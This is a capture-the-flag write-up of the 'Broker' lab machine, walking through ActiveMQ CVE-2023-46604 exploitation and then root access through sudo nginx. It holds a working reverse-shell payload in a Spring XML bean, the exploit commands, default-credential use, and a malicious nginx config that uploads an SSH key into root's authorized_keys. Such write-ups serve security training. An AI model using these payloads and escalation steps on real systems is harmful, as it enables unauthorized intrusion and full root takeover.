Myles Nieman
← All writeups

Broker

Overview

Broker is an easy Linux box centered on a single high-impact CVE. The host runs Apache ActiveMQ 5.15.15, which is vulnerable to CVE-2023-46604 — an OpenWire protocol deserialization flaw that yields unauthenticated remote code execution. After landing a shell as the activemq service account, sudo -l reveals passwordless nginx, which can be pointed at an attacker-controlled config to read and write arbitrary files as root — enough to drop an SSH key into /root/.ssh.

Path: ActiveMQ 5.15.15 → CVE-2023-46604 RCE → sudo nginx config abuse → root SSH.

Enumeration

The scan shows SSH and a cluster of ActiveMQ-related services — nginx fronting an ActiveMQRealm basic-auth prompt, plus the ActiveMQ admin console on 8161 and the OpenWire transport on 61616.

$ nmap -p- -A 10.129.230.87
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_  basic realm=ActiveMQRealm
61613/tcp open  stomp      Apache ActiveMQ
61616/tcp open  apachemq   ActiveMQ OpenWire transport
|_  ProviderVersion: 5.15.15

Nmap surfaces Apache ActiveMQ across several ports

The OpenWire fingerprint on 61616 helpfully leaks the version outright: 5.15.15.

Foothold — CVE-2023-46604

The web console is protected by basic auth, but ActiveMQ ships with admin:admin by default — and it works, dropping us into the /admin console, which confirms the version.

The ActiveMQ admin console confirms version 5.15.15

ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604: the OpenWire transport deserializes a class reference the attacker controls, so pointing it at a Spring XML bean that instantiates a ProcessBuilder gives unauthenticated RCE. I used evkl1d/CVE-2023-46604 and edited its poc.xml to run a reverse shell back to my host:

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>bash</value>
      <value>-c</value>
      <value>bash -i &gt;&amp; /dev/tcp/10.10.14.3/443 0&gt;&amp;1</value>
    </list>
  </constructor-arg>
</bean>

Then serve the payload and start a listener:

$ sudo python3 -m http.server 80      # hosts poc.xml
$ nc -lvnp 443                         # catches the shell
$ python3 exploit.py -i 10.129.230.87 -u http://10.10.14.3/poc.xml

Firing the exploit against the OpenWire port

The target fetches the XML, deserializes the bean, and executes our ProcessBuilder — popping a shell as activemq.

A reverse shell lands as the activemq user

Privilege Escalation — sudo nginx

sudo -l shows the activemq user can run nginx as root with no password:

$ sudo -l
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

nginx doesn’t look exploitable at first glance, but because we control its config we can start a root-owned web server that serves the whole filesystem and accepts WebDAV PUT uploads. I wrote a malicious config to /tmp:

user root;
worker_processes 1;
pid /tmp/nginx.pid;
events { worker_connections 1024; }
http {
  server {
    listen 1337;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
$ sudo nginx -c /tmp/nginx_pwn.conf

Now port 1337 exposes / as root, with directory listing enabled:

The malicious nginx server lists the filesystem as root

Root

Because dav_methods PUT is enabled and the server runs as root, I can upload my public key straight into root’s authorized_keys, then SSH in:

$ curl http://10.129.230.87:1337/root/.ssh/authorized_keys --upload-file ~/.ssh/id_rsa.pub
$ ssh -i id_rsa root@10.129.230.87

SSH as root using the uploaded key

Rooted.

Takeaways

  • CVE-2023-46604 makes an exposed ActiveMQ OpenWire port (61616) an unauthenticated RCE — and default admin:admin made even confirming the version trivial.
  • sudo nginx is a full root primitive. Controlling the config lets you run a root web server with root / and dav_methods PUT, giving arbitrary file read and write — here, an SSH key into /root/.ssh.